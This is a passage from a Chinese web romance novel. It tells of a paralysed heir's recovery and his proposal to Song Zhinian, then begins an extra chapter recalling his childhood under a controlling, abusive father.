傅瑾承这样练了快两个月,几乎风雨无阻,许多时候宋知念都有些不忍,却败于傅瑾承的坚持之下。 在这两个月之中,傅行止一直在接受着调查。 傅祈安把傅行止接受调查的公告发出,又把他的个人用品打包送到纪委楼下之后,也就再也没有理会过傅行止。 他们兄弟两个忙着在傅瑾承的帮助下把傅行止折腾出来的漏洞给填上 或许是因为如此,傅瑾承像是不知疲倦的人,痛苦疲惫之际,他也只是抱着她休息片刻,却又在片刻的休息之后迅速调整好了状态,再一次进入复健和谋划布局之中。 有许多次,宋知念在傅瑾承休息室的时候前来,看到的也是傅瑾承疲惫地揉揉眉心,继续工作的模样。 就在这样一日日一夜夜的复健之中。 杭城的冬天,到来了。 江南之地的冬天是阴湿的,虽然气温比北方高上许多,但是那些寒意湿意总是像是穿过了空气,如同梅雨季节连绵不断的阴雨一样,直冲冲地扎进了人的骨子里。 宋知念从店里回来,回家洗漱了一下换了身衣服,就到了傅瑾承家。 最近天气转变得太快,即使有地暖和自动加热的床垫,但是傅瑾承还是因为免疫力低下的原因成功地再一次发烧了。 宋知念熟门熟路地直接开了门,掀开了床单,钻到了傅瑾承的床上。 他病得迷迷糊糊,感受到宋知念的动静,也只是伸手蹭了蹭她,又沉沉地昏睡过去。 宋知念打开药膏,给他一层层涂着药膏。 和外骨骼机器人磨合一段时间之后,卡扣的勒痕倒没有之前那般严重,但是给傅瑾承的这些地方涂抹药膏早已经成他们之间的习惯。 何况他在这两天发烧之前还非要处理事情,等到医生注意到的时候,他连用外骨骼和悬吊辅助行走都开始有些发晕。 如果当时没有悬吊,他差点就从外骨骼上倒了下来,虽然并没有什么大事,但腰间还是有些地方轻微的磨损与擦伤。 宋知念拿了碘附,打算给这几处伤口擦一下。 她用的力气有些大,冰凉的棉球落在他腰间的皮肤上,凉意和刺痛瞬间传入了皮肤之中,傅瑾承忍不住哼了哼。 他微微睁了睁眼,含糊着喃喃道: “念念,痛。” 第70章 第70章“下车吧,念念。”…… 疼? 宋知念没敢打扰傅瑾承,她只是沿着伤口又按了按,傅瑾承忍不住蹙着眉,发出几声难耐的呻吟。 这样的巧合让宋知念不敢大意,她匆匆给傅瑾承的擦伤处消了毒,便去喊了谢医生来。 傅瑾承 迷迷糊糊听到旁边有人正在交流,那些伤口处的痒痛感令他难耐。 他有些不适的微睁开眼,上挑的眉眼处显露出几分不耐。 他一睁眼便看到宋知念和谢医生两个人正一坐一站,在他的床边盯着他看。 那一大一小的目光显得分外的滑稽,傅瑾承勾了勾嘴角想要微笑,却被身上一阵如同被蚂蚁爬过的感觉刺激的眉头一紧。 他避开了谢医生的目光,转头看向宋知念。 她的目光之中带着惊喜和疑虑,见他看来,她忍不住翘了翘眉,询问道:“阿承,你感觉怎么样?” 她的话语刚落,谢医生便低下头,傅瑾承不知道他干了什么事情,但随着他的动作,一阵酸痛麻胀刺激瞬间传入到他的大脑。 就连伤口旁边的肌肉都在微微颤抖。 “疼。”傅瑾承蹙眉说道:“又疼又痒,可……” 傅瑾承突然顿住了。 这种疼痛和神经痛之时天崩地裂、电钻火烧不一样,来自皮肤的痛觉其实非常微弱。 这一片微弱的疼痛牵连了一片的剧痛,腰间的损伤似乎和背部受伤部分疼痛牵连在了一起,火烧一样的疼痛遍布了他的半身,那些被用碘附擦过的伤口并没有什么清凉的感觉,更像是被密密麻麻的小虫舐咬过伤口,令他酥痒疼痛难耐。 可,他能够知道这种疼痛是从皮肤上传来的,他能够明白这是皮肤上的伤口带动了背部的伤口。 就好像,他知道了皮肤的感触。 傅瑾承不是没有经历过疼痛,从受伤以来,他最不缺的就是有关于疼的感受。 阴雨天、降温日,就连有时候待着不动,都会引发神经深入骨髓之中的疼痛。 有时候,痛到极致之时,他甚至都想挖开那处皮肉,将小刀钻入自己的骨血之中,去寻找疼的来源。 可这一次,他却能具体到皮肤上的疼痛。 一场“真实的”疼痛。 傅瑾承难得地有些迟疑,他抬起头,看向宋知念,又看向谢医生。 谢医生将手放在了傅瑾承的腰上,见傅瑾承表情未变,他又按了按傅瑾承的皮肤。 这次的痛感来得太过突然,傅瑾承忍不住嘶了一声。 谢医生放下手,对宋知念点了点头,又转身对着傅瑾承笑道:“傅总,您自己按下自己胸口处的皮肤。” 他的胸口一下本身是毫无感觉的,傅瑾承被高烧烧得有些浑浑噩噩,但在他还在犹豫的时候,却感到有人已经拉起了他的手。 宋知念将傅瑾承的手放到他的胸口处,在傅瑾承疑惑的目光之中,带着他的手按压了他胸口处的皮肤。 随着那一阵疼痛袭来,傅瑾承明白了宋知念和谢医生的意思。 他不顾体位性低血压的影响,迅速按下了床铺的升高按键。 眼前的阵阵发黑却挡不住黑暗后的那几缕光,他感到旁边有人抱住了他的肩膀,用手按压着他的肩颈。 傅瑾承倚靠着宋知念喘匀了气,这才睁开眼,看向自己的手和下半身。 谢医生又依次按压了傅瑾承从胸口感知平面往下的皮肤,他是按照平面来进行,一层层下去,他的疼痛感知也越来越弱。 到了大腿以下,无论谢医生怎么样按压,他都毫无感觉。 “继续。”傅瑾承拉住宋知念,目光炯炯,盯着谢医生。 傅瑾承的皮肤太过脆弱,谢医生并不敢太过用力。 “不行。”直到皮肤有些泛红,在傅瑾承近乎偏执的注视下,谢医生还是松开了手,严肃道:“今天先到这里,明天我们去医院进行系统检查。” 谢医生说罢,转身去给傅瑾承预约相关的检查。 傅瑾承看着自己的下半身,他想让自己的腿和训练时候一样自由行走,但他的腿却始终纹丝不动。 一旦离开了仪器,他还是无法控制自己的身体。 而一旦没有人去按压他的皮肤,他还是不能感受到自己的皮肤。 傅瑾承抿着嘴,看向旁边的宋知念,眼里的渴求几乎可以化为实质的催促:“念念……” “不行。”宋知念抱住他,压住了他的胳膊,也压制了他蠢蠢欲动的心: “等明天检查完再试,好不好?” “可是,”傅瑾承侧着脸看着她:“我真的好想。” 他已经等待太久,当有这么一丝希望出现的时候,他并不想继续地等待下去。 宋知念摸了摸他的额头,傅瑾承的身体还是滚烫的,她干脆上了床,将他抱住。 傅瑾承的痛觉感觉是最明显的,但是当她抱着自己的,身体的一部分重量顺着皮肤压到他的身上之时,傅瑾承还是感受到了阵阵的刺痛。 “念念。”傅瑾承抱紧了自己怀里的人,但是仅仅是这样的接触,这样的疼痛,让他依旧感觉远远不够。 他掀开了被子,将两人的相拥暴露于视线之下。 “抱紧一些。”他的手臂如同钳子,钳住了她的身体:“再抱紧一些。” 她对他的这些要求,总是无法拒绝。 “好。”宋知念的手臂收紧,将自己的脸侧于他的脖颈处,“这样可以了吗?” 她的身体几乎已经倚靠在了他的身体上,身体的重量压于他的身上,受到挤压的皮肤传来渐渐的刺痛,却让傅瑾承难得有真实的感觉。 这是真实的他,这是真实的疼痛。 “够了。”傅瑾承将脸靠在她的发丝之上,轻轻蹭着。 虽然不是皮肤的温暖,虽然不是触摸的颤栗,可这样紧密相拥相压下的疼痛,也是她。 他深深地长叹,像是感慨,又像是苦到极致之时柳暗花明的舒畅: “我终于感受到你了,念念。” 去医院检查的时候,傅瑾承还在发着低烧。 但他难得的兴致极佳,谢医生也不想打击他,干脆就给复健和理疗都调整了下时间。 检查下来发现,傅瑾承最先恢复的是痛觉。 他的感觉比正常人要迟缓很多,对于触摸这些基础的触觉感知并不明显,一旦加上了力道,他便能感受到些不适。 他上半身的皮肤也有些许出汗的特征,虽然并不明显,但也已经足够让人兴奋。 但是,这些都是他的上半身。 他的下半身对于疼痛的感知并不明显,对于按压触摸更是毫无感受。 但是这点进步,已经足以让人心生鼓舞。 这次来医院谢医生他们干脆也给傅瑾承换了设备。 之前的设备太过于庞大复杂,主要适用于做好手术后的复健,现在复健又已经过了两个月的时间,他的部分设备可以进行替换。 新设备和老设备还有些不同。 那些新设备比较小,紧紧地贴在腿部、腰部的皮肤上,不仅能在医院进行康复,在家中也能进行相关的使用。 而且,用衣物遮一遮、挡一挡,也与常人无异。 在更换了设备后,谢医生干脆让傅瑾承在助行器的帮助下辅助着行走了几米的距离,等感觉傅瑾承适应了之后,便把发着烧的傅瑾承赶出了门外,连身上的设备都没摘。 傅瑾承坐在轮椅上,发烧使得他脸色苍白,但他的脸颊泛着运动后留下红晕,脸颊两边一直在流着汗,但是他却没有丝毫的疲惫。 宋知念按照时间,开了瓶水,抵到傅瑾承的面前。 他拉着宋知念的手,喝了几口杯中的水,随后推开了她的手,仰着头看着她: “念念。” 他的目光明亮的好像是夜空之中的星辰,莹莹的在黑暗之中闪烁着希望。 “念念,我想和你去一个地方。” 宋知念有些疑惑:“去哪儿?” 他的家她早已经去了无数次,老宅因为傅行止曾经住过的原因,被傅瑾承和傅祈安觉得晦气,打算重新装修做好风水之后再住人。 他冲她眨了眨眼,难得有些了些几年前的模样:“秘密。” 谢医生说过,适当的户外运动本身还有利于傅瑾承的康复,宋知念不疑有他,她弯下腰,疑惑道:“那要不要让谢医生把你身上的设 备先拆了?” “不用。”傅瑾承摇了摇头,他身上的设备本就是他和谢医生说好了的,他看着宋知念,期待道: “我想和你一起去。” 店里早上小雨刚和她说过今天不忙,培训班社区的第一批夜校的学生也已经结业,和慈善机构合作义务为打算离开家庭女性合作的班级正在开展,但高雅琴和她也说今天会过去看,让她不要担心。 但在他的注视下,宋知念还是点了头。 傅瑾承说的地方似乎是在城西的方向,这里也是他们大学的方向。 以前读书的时候,宋知念每周来往于这条路上,早已对这条路十分熟悉。 她问傅瑾承她们要去哪里,但是傅瑾承只笑不语,甚至还拉上了车子的挡板和电动车帘,又想要用手去盖她的眼睛,一副不让她看神神秘秘的模样。 大概开了半个多小时,车子终于停了下来。 宋知念正准备开车门想要下去,却被身后的人拉住,她一回头,就看到傅瑾承凑近了自己。 她下意识地闭上眼睛,就感到轻柔顺滑的布料覆盖在了她的眼上。 “阿承?”她有些不解。 但傅瑾承却没有解释。 低烧的手心有些微微地出汗,他抬起手,将她额边的碎发别在她的脑后,温柔着引诱道: “下车吧,念念。”【魔蝎小说 mo xie xs .c om】 【正文完】 第71章 正文完“我也爱你,傅先生。”…… 空气中传来的是林间木叶的气息,一阵风吹来,还能听到枯叶交织的沙沙声。 宋知念刚从车上下来,旁边就有人拉住了她的手腕,牵引着她的步伐。 脚底下踩着的是略感熟悉的石子路,在很长一段时间之中,她曾经来来回回在一条相同的路上徘徊了很久,久到闭着眼,她都知道自己身处于何方。 四周太过于安静,安静到似乎大家都在屏息,就连身边熟悉的友人此时都默不作声。 “芸芸?”宋知念有些疑惑。 身边之人太过于熟悉,她们是多年的好友,即使林芸再怎么刻意去隐藏,但是两人之间的默契是无法骗人的。 林芸没有回答,她只是牵着宋知念的手,站定在路的尽头。 尽头处的大树早已经是一片枯败之相,但是以树为中心,已经被公司层层叠叠地搭上了舞台。 林芸有些依依不舍地松开宋知念的手,她绕到宋知念的身后,为她解下了眼罩。 绸质的眼罩从宋知念的眼睛上脱落,黑暗与光明的交织让宋知念瞬间闭上了眼睛,在这个一眨一闭的瞬间,宋知念听到了旁边林芸的声音。 “念念,去吧。” 林芸见过宋知念的崩溃与无助,就在这里,就在这条路上,她曾经抱着失声痛哭的友人不断地安慰,她曾经拦在宋知念面前辱骂着代替傅瑾承来分手的顾书屿,她也曾经在这里,将失魂落魄的宋知念连拖带拉带回寝室。 和林芸交握的手被她松开,宋知念缓缓睁开眼,看向身边的朋友。 “念念。”林芸笑着笑着,眼眶就红了,她指了指前方,哽咽着道: “向前走,别回头。” 我亲爱的朋友,向前走,别回头。 宋知念顺着林芸指的方向望过去。 层层叠叠的舞台是围绕着树而搭建,在此时那棵活生生的树似乎已经融入了这一方舞台之中, 舞台整体是蓝绿色的色调,舞台的最上方还用延架搭起来了一座小型的白色城堡。 而在她脚下,层层叠叠的地毯铺满了这里,地毯上半人高的用绣球花搭建出来的灌木花丛上摆着几个不明显的时间摆件。 在那些摆件下,用麻绳线连接着一张张照片和文字。 【2021年9月23日】 今天去了趟公司,回来见到了团委学生会的学弟学妹们,秘书部的小学妹看上去眼睛亮亮的,格外的引人注意。 好像……姓宋? 宋知念将纸从夹子上拿下来。 那是她第二次见到他,这么近距离看到开学典礼上的他,宋知念自己都还记得,那个晚上,她往他身上看了多少回。 后面的字条,也都是回忆之中的事情。 【2021年10月12日】 早上在公司上班,晚上回学校理材料也是加班,部长都跑了,幸好秘书部的学弟学妹们都比较有责任心,但让学弟学妹们一起翻行政楼的窗户还真有点不好意思。 明天去问问宋学妹,看看她们喜欢喝什么。 ——那是她们第一次一起在行政楼熬大夜。 【2021年11月28日】 好久没看到宋学妹了。 可为什么,我会这么在意她? 【2022年3月05日】 这个月,让她自己去负责了社团文化节的展演活动,阿屿说我太过狠心,培养人也不是这么压榨,要去追人家也不能这样做。 可我没多少在学校的时间了。 【2022年3月14日】 她成功了,真棒。 ——那是她第一次独立处理活动。 这也是她们第一次拥抱对方。 【2022年8月18日】 这两个月去国外了,一直没有在学校见到她。 行政楼楼下多了只被母猫抛弃的小橘,和她分享这样的事情,会不会打扰她? 【2022年8月24日】 我看到她了。 她也喜欢那只小橘吗? ——这张纸条的旁边,附带了旺财的对比图。 一张是瘦小的小橘,一张是现在镇店的大橘。 【2022年9月24日】 我想和她在一起。 ——那是他表白的前一天。 …… 绣球的颜色由白到紫,形成了一条渐变的道路,目光所及的最后一个时间停在了【2022年9月26日】,但是下方却并没有任何的字符。 从这往后,绣球的颜色越来越深,却没有时间和图片。 宋知念起了身,顺着这条道路走了下去。 长长的时间空断,就像是她们的三年,等又走了几步,宋知念才在花上看到了新的时间立牌。 【2025年5月10日】 我想死。 我想在死之前,见她一面。 【2025年5月22日】 ——我见到她了。 花丛在这里结束。 “念念。” 她的前方传来他的声音,宋知念停住脚步,抬头看向他。 傅瑾承是站着的,他的一只手拄着黑色的拐杖,一只手放在桌子上,正站在那棵树下看着她。 一旁的小高桌上趴着那只已经变得肥胖的猫咪。 宋知念走上了台阶,她本想直接到他面前,却被傅瑾承拦住。 他“走”得还有些艰难,即使腿上有外骨骼和设备,还是用拐杖走一步停一步,旁边的“走”也跟着他的步伐移动着。 四周都是安静的,只有清脆的拐杖声和台机的移动声。 没有人去催促他们。 过了许久,他终于“走”到了她的面前。 这样几步的距离已经让他满头是汗,腰间的皮肤也隐隐在发热,宋知念本想拿纸巾给他擦一擦,却被傅瑾承侧了侧脸,避开了。 “念念。” 傅瑾承站在舞台中间,桌子上的旺财站起身,高翘着尾巴从宋知念的身上勾去。 旺财今天明显是被打扮过一番,一身橘色的皮毛油光水滑的,身上还穿了个小西装。 在小猫黑色的西装上,一个蓝色的盒子分外的明显。 旺财低下头蹭了蹭傅瑾承的手,便又在小桌子上躺下了。 他身上的外骨骼足以支撑他站立一段时间,傅瑾承从旺财的身上拿下戒指盒,稳定了自己的身形,一只手松开扶住的小桌子。 “念念……” 傅瑾承抬起头,难得地感到自己有些忐忑。 “念念,我曾经和你说过,在三年前,我就曾经做好了我的人生规划。” 那时候的他将人生的规划定的十分简单,简单到甚至用进公司、父慈子孝等她毕业就可以形容。 ” 可是那一场车祸,打破了这一切。” 在提到车祸,傅瑾承的脸色却没了曾经的不甘,他笑笑,像是释然: “我曾经恨过这个世界,也恨过我自己。” “我厌恶这个世界给我了优渥的家世,却不给我美满的家庭;我厌恶这个世界让我遇到你,却不能多一些让健康的我和你在一起的时间。” 他笑了笑:“我也厌恶,对你欺骗、伤害你至深的自己。” 傅瑾承这辈子都无法和自己和解,理智让他选择了欺瞒,可是情感却无法阻止那汹涌波涛的爱意。 周围的树林沙沙作响,求婚的现场如同被隐于树林之中的古堡。 她就是在这样的环境之中,一个人徘徊着、等待着。 他知道她在这里等了我很久、很久。 当时的顾书屿戴着口罩和头套都难掩在他面前的担忧,他只能撇过头和顾书屿艰难地说道:“阿屿……帮我和念念……” “分手吧……” 他当时说一句话都要喘上许久,即使撇过了脸闭上了眼,傅瑾承也能感受到自己不断滑落的泪水 傅瑾承很痛苦,但是他想放宋知念自由。 “念念,我本来早已经对自己的人生丧失期待。” 在见到她之前,他都不知道复健的意义是什么,不能活动的双腿,感受不到的下半身,每天只能如同一个废人一样,靠着那些仪器去挪动着自己的身躯。 既然什么都没有用,既然已经不会好转,那为什么要复健? “我并不相信希望。” 傅瑾承厌恶所有的一切,他厌恶新药、厌恶新技术、厌恶谢医生如同苍蝇一样在他耳边嗡嗡地鸡汤语录,三年打破了他的所有希望幻想,和所有的自尊。 傅瑾承的手心有些微微出汗,那枚戒指被他捂的都有些发烫。 “可念念,我相信你。” 因为是宋知念,所以他愿意再去看一眼这个世界,因为是她,所以他宁可冒着危险,也去做了手术。 他的声音越说越急,那些工作之中属于傅总的沉稳风度在此时似乎荡然无存。 “念念,我知道和我在一起真的很麻烦。” 他每天光复健就要六七个小时,晚上也要隔几个小时起来翻身,吃的、玩的都有严苛的限制。 可—— “我还是好想对你说,我真的很爱你。” “所以这一次,我来履行这场迟到的约定了。” 傅瑾承颤抖着、虔诚地询问道:“念念。” “你愿意,嫁给我吗?” 他焦急迫切地注视着她,等待着她的答案。 “好。” 宋知念突然笑了,她笑得是那样的灿烂,她伸出手,手指微微跷着,放在傅瑾承的面前: “傅先生,我答应你了。” 周围瞬间传来一阵阵此起彼伏的惊呼声,傅瑾承艰难地给她戴上戒指,深深地拥抱住她。 宋父、宋母、林芸、顾书屿、傅祈安、高雅琴、谢医生、陈医生、小雨…… 他们的朋友、亲人,此刻都在台下为他们欢呼着。 漫天的花瓣从空中落下,在这片盛大的绽放之中。 他在她的眼中找到了自己的天空。 宋知念举着戒指,踮起脚,凑近傅瑾承的耳边: “我也爱你,傅先生。” 【正文完】 第72章 番-傅瑾承(一)哥哥,就…… 傅瑾承很小的时候,就知道他父母关系并不正常。 母亲是温柔的,但是每一次温柔的母亲面对父亲的时候,就像是炸毛了的刺猬一样,挡在他和父亲的中间。 而他的父亲,总是冷笑着像是拎着小鸡崽一样,不顾母亲的阻拦,把他提起来,让年幼的傅瑾承和他注视。 有时候母亲想要和他一起看绘本、一起去做晚餐,都会被不知道什么时候出现在门口的父亲所阻拦。 在当时的傅瑾承眼中,父亲就好像是一个无处不在的幽灵,他似乎总能在自己想要依赖母亲的时候出现在她们面前,将他和母亲分开。 他们在家中的一举一动,似乎总是逃不过父亲的眼睛。 傅瑾承讨厌这样的监视感。 直到那一天,他在绘本上看到了大江大河山川的照片。 年幼的傅瑾承从来没有见过山川湖海,他的所有活动范围,都在这座山庄之中。 世界是如此的广阔,但从他出生开始,他的活动范围几乎就被限制在了家中的庄园之中,他会在花园之中扑蚂蚱、会在池塘之中抓小鱼,也会在室内外的游戏房之中玩滑梯和沙坑。 他将绘本放到了母亲的面前,问母亲这是什么。 母亲当时怀了弟弟,病恹恹地靠在主卧地床上,自从怀孕之后,她就越发的不爱说话,连床都不怎么下。 按照父亲的要求,傅瑾承每天探望母亲都是有次数限制的,他不顾这种愚蠢的问题可能会浪费一次和母亲相处的机会,兴致勃勃地跑了上去。 母亲听了傅瑾承的问题,脸上的表情似乎愣住了。 她只停顿了片刻,才和傅瑾承解释道: “湖就是很大的池塘,山就是很高的土丘,海……”母亲看向了床头的结婚照,指着照片对傅瑾承说:“妈妈身后的那片就是海。” 那是她和傅行止刚刚结婚的时候拍的照片,照片上的母亲看上去笑得十分开心,而不像现在这样的憔悴和忧伤。 “那妈妈能带我去看海吗?”傅瑾承趴在床边,指着绘本上的内容:“蓝色的海!” 他的妈妈只是看了他许久,用手摸了摸他的脸,惨然笑道:“妈妈已经没办法去看海了。” 随着她的抚摸,她金色手镯上勾着一条细细的链子在被褥上晃动着,发出着清脆的响声。 “阿承。”母亲拍了拍他的头发:“等弟弟出生了,阿承带弟弟去看海吧。” 弟弟,在傅瑾承眼中是个很陌生的概念。 似乎怀了弟弟之后说话,家中的所有尖锐的地方都被包上来软垫,就连家里西餐的餐刀都被收走。 傅瑾承曾经问过父亲为什么要这么做,父亲的说法都是——为了弟弟。 进入幼儿园之后,身边的所有小朋友基本家中都有弟弟和妹妹,他们会在傅瑾承前面去胡乱的比着手势咿咿呀呀的讲着家中的弟弟妹妹,但是傅瑾承有时候都会觉得莫名的无趣。 他没有那么喜欢弟弟,本来见母亲的时间就少了,凭什么还要来一个弟弟分散母亲的注意力?他自己都没有见过海,凭什么母亲要他带着弟弟去看? 况且,母亲怀弟弟的时候,看上去真的很痛苦。 他听到母亲早上的呕吐声,看到过母亲因为不好好吃药被父亲训斥的声音,看到母亲前面“不小心”摔下来楼被勒令在床上保胎的模样。 傅瑾承并不理解。 既然痛苦,为什么还要生弟弟;又为什么,父亲每次提出母亲怀弟弟的时候,脸色总会有着扭曲的快意。 就像是父亲当着他的面砍死了那头猪,就像是父亲在他面前拿着被猎枪击穿的兔子的尸体的时候,一样的快意。 后来,弟弟出生了。 傅祈安出生的时候是早产的,傅行止没有送妻子去医院,而是直接叫了一群医生团队在山庄之中搭建起来了一处接生的产房,以此来防止妻子借着去医院的功夫秘密出逃。 母亲生傅祈安的时候是个雷雨天气,窗户外电闪雷鸣的,混杂着母亲的尖叫和医护人员焦急的声音,更加显得有些恐怖。 傅瑾承只能在门口藏在外婆的怀里,等听到等产房收拾好之后,傅瑾承和外婆才被父亲允许进入了产房之中。 母亲抱着弟弟躺在床上,傅瑾承趴在床边第一次见到了傅祈安。 早产的婴儿浑身都是黏腻的黏液,身上通红,头发湿透。 弟弟很丑,这是傅瑾承对弟弟的第一印象。 但是母亲看着弟弟 的目光却很温柔,像是对待自己心爱的宝物一样。 傅瑾承好久没见到母亲这样的目光了,这让他忍不住有些嫉妒弟弟。 年幼的他那时还不知道,为什么身边的外婆看到母亲手上的手镯之后会哭得泣不成声,也不知道为什么母亲要让他郑重地在自己面前宣誓,他会一直保护弟弟。 “阿承,你是个乖孩子。”妈妈让他看着弟弟,柔声道:“答应妈妈,无论妈妈发生什么,都要照顾弟弟,可以吗!” 傅瑾承虽然不能理解母亲的想法,但是他喜欢妈妈,既然妈妈都这样请求他照顾弟弟了,他就勉为其难,去照顾那个看上去只会哭和吃的小丑八怪吧。 “好吧。”傅瑾承小大人一样点点头:“我会照顾弟弟。” 他还这么小,要是被爸爸那个大魔王针对就不好了。 傅瑾承想。 傅瑾承伸出小手戳戳弟弟,婴儿的手很软,他像是感受到了什么一样,直接抓住了傅瑾承的食指。 弟弟的手很软。 “我是你哥哥。” 傅瑾承穿着小西装,有些严肃地小声说:“虽然我不喜欢你,但我会争取对你好的!” 傅祈安出生之后,父母的矛盾又进一步地加剧了。 他经常能在家听到楼上父母房间之中噼里啪啦摔碎东西的声音,能听到父母之间更加激烈的争吵。 一开始外公外婆和舅舅还会来家里,带他和弟弟离开家里去娄家。 虽然傅瑾承不知道为什么外公外婆一见到他就要抹眼泪,也还不知道他们口中“造孽啊,两口子的矛盾这样对孩子。”“阿承要快快长大,保护妈妈。” 但是傅瑾承隐约能够知道,母亲不喜欢父亲、母亲很痛苦。 而外公外婆知母亲不开心,但是他们也无可奈何。 当时的傅瑾承还并不会隐藏自己的情绪,时间久了,傅瑾承看父亲的目光也越来越奇怪,甚至带上了敌视。 父亲意识到了背后的原因,他开始禁止外公外婆他们过来,也不让两位老人带走自己的外孙。 傅瑾承站在家里的大铁门前,眼泪汪汪地看着和自己隔着铁门的外公外婆,他哭得撕心裂肺,却丝毫没有引起父亲的怜悯。 “傅瑾承。”他被父亲抓住衣领提了起来。 四目相对之间,他恨恨地看着父亲,却看到父亲的脸上又出现那种诡异的笑容:“我说过,你还小,外公外婆会把你带去卖了。” “只有爸爸,才对你最好的。” 傅瑾承被父亲的目光盯着的不寒而栗,他挣脱了父亲的控制,跑回了主楼。 他像是一只无头苍蝇一样在主楼之中乱跑。 外公外婆进不来,母亲房间的门现在的大多数时间都是锁着的。 弟弟,对,弟弟还在家里。 他跑到了弟弟的房间之中,爬上了婴儿床,躺进了床内抱起了还在熟睡的弟弟,死死地盯着门口。 傅瑾承听到了门口的脚步声,他还听到了父亲的轻笑,但是父亲并没有进来。 怀里的弟弟懵懵懂懂地看着他,他已经满月了,白白嫩嫩胖胖乎乎的,毫无一个月前那般模样。 傅瑾承抱着弟弟,哭了出来。 从那之后开始,傅瑾承几乎在明面上没有和父亲起过一次的冲突。 当周边同龄的小伙伴都在讨论周末去什么游乐园、过年是去新加坡还是去迪拜过年,这周想要买什么玩具的时候,傅瑾承已经学上了钢琴、跆拳道、高尔夫、马术…… 他的每一天都被父亲安排了满满的课程,和母亲的见面时间也每天的两次缩减为了一次,但是傅瑾承从来没有过抱怨。 直到那一天。 那天傅瑾承的钢琴课老师有事情没有来,傅瑾承干脆坐在弟弟房间之中看书。 傅祈安看不懂书,他只会在地上趴着趴着趴到傅瑾承身上,在抓住傅瑾承的手臂往自己的嘴巴里送。 傅瑾承只能无奈地把自己的手和自己的书从弟弟的嘴巴之中解救出来,再去房间之中换下被弟弟口水破坏掉的衣服。 等他重新回到傅祈安房间之中的时候,还在地上爬的小朋友已经不见了。 傅瑾承被吓了一跳 但是楼上的一声尖叫让傅瑾承瞬间意识到了不对。 他跑上楼,站在房门口的父亲正一只手抱着弟弟,另一只手上拿着一把剪刀。 听到傅瑾承跑上来的声音,父亲还饶有兴致地招手让他过去。 傅瑾承不敢反抗,走到了父亲的身边。 那把剪刀的刀尖处在他的脸颊边徘徊着,傅瑾承僵硬地站着。 “你可以抛弃我。”他听到了父亲的声音,父亲的声音难得有些忧伤的哀怨,却又像是引诱人一样说道: “但小承和小安,你也不顾了吗?” 房间内一片漆黑,傅瑾承只能隐隐看到窗边正坐着一个人。 听到小承和小安,那道身影动了动想要往外面走,但是她的力气不够,一下就从窗台上摔到了地上。 傅行止把手中的孩子丢给傅瑾承,快步上前反手关上房门。 房间里又传来了哭喊和辱骂声,傅瑾承面无表情地低着头看着怀中的弟弟。 傅祈安对刚刚发生的事情没有丝毫的察觉,他咿咿呀呀地抓个傅瑾承的肩膀,对着他笑着。 “傅祈安,我是你哥哥。” 在争吵和尖叫之中,傅瑾承对着弟弟承诺道: “我会一直一直,保护你的。” 哥哥,就是要保护弟弟的。【魔蝎小说 mo xie xs .c om】